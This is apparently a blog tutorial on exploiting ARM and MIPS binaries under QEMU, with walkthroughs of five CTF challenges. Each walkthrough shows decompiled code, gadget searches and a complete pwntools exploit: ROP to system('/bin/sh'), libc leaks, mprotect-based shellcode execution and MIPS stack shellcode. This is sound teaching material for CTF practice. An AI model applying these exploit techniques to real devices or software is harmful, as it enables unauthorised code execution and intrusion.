ARM & MIPS PWN Intro
TyeYeah Lv4

This paragraph is to pwn ARM and MIPS binaries, with some examples.

Environment Setup

Basically binaries are executed by QEMU, so some operations in QEMU Intro and Network Configuration are needed.

Add another one. The tool arm_now on github is wrapped to build the environment.

Install Shared Library

We can search by

1
$ apt search "libc6-" | grep "{ARCH}" # `ARCH` can be arm, mips...

What we need are packages like libc6-{ARCH}-cross.

As mentioned in QEMU Intro and Network Configuration before, the packages like gcc-{ARCH}-linux-gnuxxx also provides shared libraries.

All above libs are stored as /usr/{ARCH}-linux-gnuxxx.

Or visit toolchains.bootlin.com to get ready-built libc files including glib, musl and uclibc.

Static Analysis

Here I mean IDA. We need plugins for MIPS. The MIPSROP only supports IDA 6.7 and lower versions, because API changed in IDA, but there’s a researcher wrote this new one.

Disassembler plugin we use Retdec for IDA, Please ROP for jeb2, and Binary Ninja.

As for ARM, Hex-Rays Decompiler plugin supports ARM, even MIPS now. So IDA Pro 7.5 can disassemble both ARM and MIPS at this moment.

Dynamic Analysis

The gdb is what we need.

1
$ apt install gdb-multiarch # same usage as gdb

With shared library installed, we can assign them to program by -L like

1
$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./program

Use -g to open ports

1
$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add

Then in gdb-multiarch (with pwndbg), set architecture and connect

1
2
pwndbg> set architecture mips 
pwndbg> target remote localhost:1234

This part is also included in Debug Programs part of QEMU Intro and Network Configuration.

CTF Examples

Here gives some preliminary multi-arch ctf challenges

Jarvis oj - typo - ARM

Attachment: typo
Check the file first (arm-32-little)

1
2
3
4
5
6
7
8
9
$ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
$ checksec typo
[*] '/root/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

It is a static linked armel-32bit-program.

When testing we find a long string overflows the program. Then we calculate the padding by using qemu and cyclic.

But the code is obfuscated, we have trouble figuring out the main logic, while we find /bin/sh at .rodata:0006C384. And according to the cross reference of it,we can find sub_10BA8 (0x10BA8) (someone find sub_110B4 (0x110B4)) which turns out to be system().

Then we need a gadget to control $r0 and find 0x00020904 : pop {r0, r4, pc} using ROPgadget. So we build the stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+------------+
| |
| padding |
| |
| |
+------------+
| gadget_addr| <- 0x20904
+------------+
| binsh_addr | <- 0x6C384
+------------+
| junk_data |
+------------+
| system_addr| <- 0x10BA8 # 0x110B4
+------------+

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
from ctypes import *

filename = 'typo'
context(binary = filename, log_level = 'debug')
elf = ELF(filename)

sh = process(filename)
#sh = remote('ip',port)
sh.sendafter("quit\n","\n")

padding = 112
bin_sh_str = 0x6c384
system_addr = 0x10BA8 # 0x110B4
pop_04pc = 0x20904 # 0x00020904 : pop {r0, r4, pc}

payload = b'a'*padding+p32(pop_04pc)+p32(bin_sh_str)+p32(0xdeadbeef)+p32(system_addr)
sh.sendlineafter("\n",payload)
sh.interactive()

Codegate2018 - melong - ARM

Attachment: melong
Check file infomation (still arm)

1
2
3
4
5
6
7
8
9
$ file melong
melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
$ checksec melong
[*] '/root/melong'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

After reading the pseudocode we can find that in write_diary(), we can give the read() a large size to write to stack and achieve an overflow in main() function frame.

But before that we have to enter PT() to set size. It has to be negative to pass a comparision statement, and the negative value is regarded as a fairly large unsigned integer.

After that we enter write_diary() to do rop: first leak libc address, then control it to execute system("/bin/sh“).

The next challenge is to go back to main(). The rop in ARM is different from x86 because it has no ret instruction. So hijacking program flow is to control $pc.

We cannot control the program flow just using rop gadgets we give, the only way is to follow the program running and find some pop $regs to control regs (especially $pc).

Brute forcing can be used to guess how many paddings we need to loop back to main (using cyclic or so, same as how we determine offset in stack overflow), another more preliminary method is to debug step by step and find the significant. gadget: <puts+400>: pop {r4, r5, r6, r7, r8, r9, r10, pc}.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
from ctypes import *

filename = './melong'
libcpath = '/usr/arm-linux-gnueabi/lib/libc.so.6'
context(binary = filename, log_level = 'debug')
elf = ELF(filename)
libc = ELF(libcpath)

sh = process('qemu-arm -L /usr/arm-linux-gnueabi ./melong',shell=True)
#sh = remote('ip',port)
sh.sendafter("Type the number:","1\n1.8\n80\n") # check bmi
sh.sendafter("Type the number:","3\n-123\n") # personal training
pad = 0x54
pop_0pc = 0x00011bbc # 0x00011bbc : pop {r0, pc}
leak = b'a'*pad + p32(pop_0pc) + p32(elf.got['puts']) + p32(elf.plt['puts'])

leak += flat(elf.sym['main'])*8

sh.sendafter("Type the number:",b"4\n"+leak) # write_diary
sh.sendline("6")

sh.recvuntil("See you again :)\n")
print("===============================================================================")
raw_puts = u32(sh.recv(4))
libc.address = raw_puts - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))

sh.sendafter("Type the number:","1\n1.8\n80\n") # check bmi
sh.sendafter("Type the number:","3\n-123\n") # personal training
payload = b'a'*pad + p32(pop_0pc) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system'])
sh.sendafter("Type the number:",b"4\n"+payload) # write_diary

sh.sendline("6")
sh.interactive()

Shanghai2018 - baby_arm - aarch64

Attachment: baby_arm
Still check the file (aarch64 aka. arm64)

1
2
3
4
5
6
7
8
9
$ file baby_arm
baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
$ checksec baby_arm
[*] '/root/baby_arm'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

All we have to notice is just main_logic() and sub_4007F0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 main_logic()
{
ssize_t v0; // x0

initial();
write(1, "Name:", 5uLL);
v0 = read(0, &unk_411068, 0x200uLL);
sub_4007F0(v0);
return 0LL;
}

ssize_t sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h] BYREF

return read(0, &v1, 0x200uLL);
}

Easy to determine the offset using cyclic and we find the NX enabled. And the mprotect() exists and it sets the privilege digit as 0 which means no execution.

We can also use it to set bss as writable and executable using mprotect(). Here we use the powerful csu gadget to call any functions with any args, using gadgets in _libc_csu_init().

So the whole pass is: write shellcode to bss; use mprotect() to set bss executable; finally call shellcode.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
from ctypes import *

filename = 'pwn'
context(binary = filename, log_level = 'debug')
elf = ELF(filename)

sh = process('qemu-aarch64 -L /usr/aarch64-linux-gnu/ pwn',shell=True)
#sh = remote('ip',port)

def csu_rop(call, x0, x1, x2):
payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
payload += flat(x2, x1, x0)
payload += '12345678'
return payload

padding = asm('mov x0, x0')
shell = asm(shellcraft.execve('/bin/sh'))

sh.sendafter('Name:',padding*0x10+shell)
payload1 = flat(cyclic(72)+csu_rop(elf.got['read'],0,elf.got['__gmon_start__'],8)) # change got
payload1 += flat(0x400824) # main_logic
sh.send(payload1)
sh.send(flat(elf.plt['mprotect']))

sh.sendafter('Name:',padding*0x10+shell)
payload2 = flat(cyclic(72)+csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7)) # call mprotect
payload2 += flat(0x411068) # shellcode
sh.send(payload2)

sh.interactive()

HWS2020 - Mplogin - mipsel

Attachment: Mplogin
Check this file (mipsel)

1
2
3
4
5
6
7
8
9
10
11
$ file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

$ checksec Mplogin
[*] '/root/Mplogin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

In main() it gets 2 functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $a2
int v5; // [sp+18h] [+18h]

setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
v5 = sub_400840();
sub_400978(v5);
printf("\x1B[32m");
return puts("Now you getshell~");
}

In sub_400840() it can leak sth on stack because no processing the last byte:

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_400840()
{
char v1[24]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}

In sub_400978() it has an overflow (it can control size of second read()) which lets us write :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall sub_400978(int a1)
{
char v2[20]; // [sp+18h] [+18h] BYREF
int v3; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF

v3 = a1 + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, v2, 36);
printf("Password : ");
read(0, v4, v3);
if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}

We try to debug dynamically using qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# interactive terminal
$ qemu-mipsel -L ./ -g 1234 ./Mplogin
-----we1c0me t0 MP l0g1n s7stem-----
Username : admin6789012345678901234
Correct name : admin6789012345678901234��@�
@

# in pwndbg we check stack content
pwndbg> stack 30
00:0000│ s8 fp sp 0x40800298 ◂— 0x0
01:0004│ 0x4080029c —▸ 0x408002b0 ◂— 0x696d6461 ('admi')
02:0008│ 0x408002a0 —▸ 0x400d59 ◂— 0x43000000
03:000c│ 0x408002a4 ◂— 0x0
04:0010│ 0x408002a8 ◂— 0x418e50
05:0014│ 0x408002ac ◂— 0x0
06:0018│ 0x408002b0 ◂— 0x696d6461 ('admi')
07:001c│ 0x408002b4 ◂— 0x3837366e ('n678')
08:0020│ 0x408002b8 ◂— 0x32313039 ('9012')
09:0024│ 0x408002bc ◂— 0x36353433 ('3456')
0a:0028│ 0x408002c0 ◂— 0x30393837 ('7890')
0b:002c│ 0x408002c4 ◂— 0x34333231 ('1234')
0c:0030│ 0x408002c8 —▸ 0x408002d0 —▸ 0x40007010 ◂— 0x0
0d:0034│ 0x408002cc —▸ 0x400b90 (main+164) ◂— lw $gp, 0x10($fp)
0e:0038│ 0x408002d0 —▸ 0x40007010 ◂— 0x0
0f:003c│ 0x408002d4 ◂— 0x0
10:0040│ 0x408002d8 ◂— 0x2

So if we send 24 bytes without \x00 at the end, we can leak 0x408002d0 at 0x408002c8(on the stack), and 0x408002d0 itself is also a stack address.

Since this challenge with NX disabled, we can write shellcodes to stack and execute, and using ROP to jump back to shellcode address (better the address we leaked, like 0x408002d0 we already got).

Here is the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

filename = 'Mplogin'
context(binary = filename, log_level = 'debug')
elf = ELF(filename)

sh = process(["qemu-mipsel","-L","./","./Mplogin"])
#sh = remote('ip',port)

# leak stack(old fp)
sh.sendafter(b"name : ","admin".ljust(0x18,'a'))
sh.recvuntil(b"Correct name : ")
sh.recv(0x18)
stack = u32(sh.recv(4))
print("stack:",stack,hex(stack),"type:",type(stack))

# stack overflow
sh.sendafter(b"Pre_Password : ",b"access".ljust(0x14,b"2")+p32(0x100))
sh.sendafter(b"Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))
sh.interactive()

HWS2020 - pwn - mipsel

Attachment: pwn
Check the file (mips and static)

1
2
3
4
5
6
7
8
9
10
11
$ file pwn
pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped

$ checksec pwn
[*] '/root/pwn'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

In pwn() we find that a 0x200 v6 reads 0x300 which triggers overflow,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
bool pwn()
{
int v0; // $v0
_BOOL4 result; // $v0
int v3; // [sp+0h] [+0h] BYREF
int v4[2]; // [sp+10h] [+10h] BYREF
_BYTE *v5; // [sp+18h] [+18h]
_BYTE *v6; // [sp+1Ch] [+1Ch]
unsigned int i; // [sp+20h] [+20h]
int j; // [sp+24h] [+24h]
int v9; // [sp+28h] [+28h]
int v10; // [sp+2Ch] [+2Ch]
int v11; // [sp+30h] [+30h]
int *v12; // [sp+34h] [+34h]
int *v13; // [sp+38h] [+38h]
int *v14; // [sp+3Ch] [+3Ch]
int v15; // [sp+40h] [+40h]
int v16; // [sp+44h] [+44h]
_BYTE *v17; // [sp+48h] [+48h]
int v18[3]; // [sp+4Ch] [+4Ch] BYREF

v6 = (_BYTE *)malloc(0x200);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", v18) )
{
printf("Input error!");
exit(-1);
}
if ( !v18[0] || v18[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
v18[1] = (int)&v3;
v9 = 36;
v10 = 36 * v18[0];
v11 = 36 * v18[0] - 1;
v12 = v4;
memset(v4, 0, 36 * v18[0]);
for ( i = 0; ; ++i )
{
result = i < v18[0];
if ( i >= v18[0] )
break;
v13 = (int *)((char *)v12 + i * v9);
v14 = v13;
memset(v6, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
v15 = read(0, v6, 0x300);
if ( v13 )
{
v0 = atoi(v6);
*v14 = v0;
v16 = strchr(v6, 58);
for ( j = 0; v6++; ++j )
{
if ( *v6 == 10 )
{
v5 = v6;
break;
}
}
v17 = &v5[-v16];
if ( !v16 )
{
puts("format error!");
exit(-1);
}
memcpy(v14 + 1, v16 + 1, v17);
}
else
{
printf("Error!");
v14[1] = 1633771776;
}
}
return result;
}

And the memcpy(v14 + 1, v16 + 1, v17); moves heap contents (v16 +1) to stack (v14 + 1) which causes stack overflow.

Before ROP we have to determine the paddings. Using cyclic doesn’t give a result, while entering a * big num works, due to the logic:

1
2
3
4
5
6
7
8
9
    if ( i >= v18[0] )
break;

// asm as follow
0x400994 <pwn+864> lw $v1, 0x20($fp)
0x400998 <pwn+868> lw $v0, 0x4c($fp)
0x40099c <pwn+872> sltu $v0, $v1, $v0
0x4009a0 <pwn+876> bnez $v0, pwn+376 <0x4007ac>

At that time we get $v0 > $v1 is using cyclic

1
2
V0   0x79616161 ('yaaa')    ; from the variable we input in stack
V1 0x6e616162 ('naab') ; from

Therefore we enter <0x4007ac> to trigger Program received signal SIGSEGV, Segmentation fault. and crash here:

1
2
3
4
  0x4007d4 <pwn+416>    lw     $a0, 0x1c($fp)
0x4007d8 <pwn+420> lw $v0, -0x7f98($gp)
0x4007dc <pwn+424> move $t9, $v0
0x4007e0 <pwn+428> bal memset <0x41c0a0>

While if we use a bunch of a, we can trigger jr $ra

1
2
3
4
5
6
7
8
9
10
  0x400a48 <pwn+1044>     lw     $s3, 0x64($sp)
0x400a4c <pwn+1048> lw $s2, 0x60($sp)
0x400a50 <pwn+1052> lw $s1, 0x5c($sp)
0x400a54 <pwn+1056> lw $s0, 0x58($sp)
0x400a58 <pwn+1060> addiu $sp, $sp, 0x80
0x400a5c <pwn+1064> jr $ra <0x7a7a7a7a>

0x400a60 <pwn+1068> nop
0x400a64 <banner> addiu $sp, $sp, -0x20
0x400a68 <banner+4> sw $ra, 0x1c($sp)

After debugging we get offset as 0x90.

Then think about ROP.
On x86 arch we can use jmp esp to execute shellcode in stack, whle on mips arch we use similar methods to call stack address.

Here we use mipsrop in IDA Pro, use mipsrop.stackfinder() to find gadgets jumping back to stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 |
| 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 |
| 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 |
| 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 |
| 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 |
| 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 |
| 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 |
| 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 |
| 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 |
| 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 |
| 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets

These gadgets do Action and then jump according to Control Jump.
These gadgets can store things on stack to $a1, $a2, $v0, $v1 and so on.
What we need is some jump to these regs, and the right shellcode layout.
Here we use mipsrop.tails() and mipsrop.doubles() to check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Python>mipsrop.tails()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0041F518 | move $t9,$s1 | jr $s1 |
| 0x0041F538 | move $t9,$s1 | jr $s1 |
| 0x00421684 | move $t9,$a2 | jr $a2 |
| 0x0045882C | move $t9,$v0 | jr $v0 |
| 0x00458884 | move $t9,$v0 | jr $v0 |
----------------------------------------------------------------------------------------------------------------
Found 5 matching gadgets
Python>mipsrop.doubles()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0042CB68 | move $t9,$s2 | jalr $s2 |
| 0x0044BEA4 | move $t9,$s4 | jalr $s4 |
| 0x0042CB68 | move $t9,$s2 | jalr $s2 |
| 0x0044BEA4 | move $t9,$s4 | jalr $s4 |
| 0x0047339C | move $t9,$s3 | jalr $s3 |
| 0x0042CB68 | move $t9,$s2 | jalr $s2 |
| 0x0044BEA4 | move $t9,$s4 | jalr $s4 |
| 0x0047339C | move $t9,$s3 | jalr $s3 |
| 0x0042CB68 | move $t9,$s2 | jalr $s2 |
| 0x0044BEA4 | move $t9,$s4 | jalr $s4 |
| 0x0047339C | move $t9,$s3 | jalr $s3 |
----------------------------------------------------------------------------------------------------------------
Found 11 matching gadgets

We choose the first line: 0x004273C4 using $a2

1
2
3
4
5
6
7
.text:004271EC var_C           = -0xC
...
.text:004273C4 addiu $a2, $sp, 0x70+var_C ; var_c
...
.text:004273D4 move $t9, $s0
...
.text:004273E8 jalr $t9

And 0x00421684 jumping to $a2

1
2
.text:00421684                 move    $t9, $a2
.text:00421688 jr $t9

According to these, the exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
# from LibcSearcher import *
from ctypes import *

filename = './pwn'
context(binary = filename, log_level = 'debug')
elf = ELF(filename)

sh = process(["qemu-mips",filename])
#sh = remote('ip',port)

sh.sendlineafter("number:","1")

ra = 0x004273C4 # addiu $a2,$sp,0x64 jalr $s0
s0 = 0x00421684 # move $t9,$a2 jr $a2

payload = b'1:'
payload += b'a'*0x6c + p32(s0) + b'a'*0x20 + p32(ra)
payload += b'a'*0x64 + asm(shellcraft.sh())
sh.sendlineafter(b"Job.'",payload)
sh.interactive()

Summary

This blog is just an intro with only stack exploiting tips, actually the heap challenges of arm/mips using glib/uClibc/musl are almost the same as these on x86 arch.

Powered by Hexo & Theme Keep
Total words 135.7k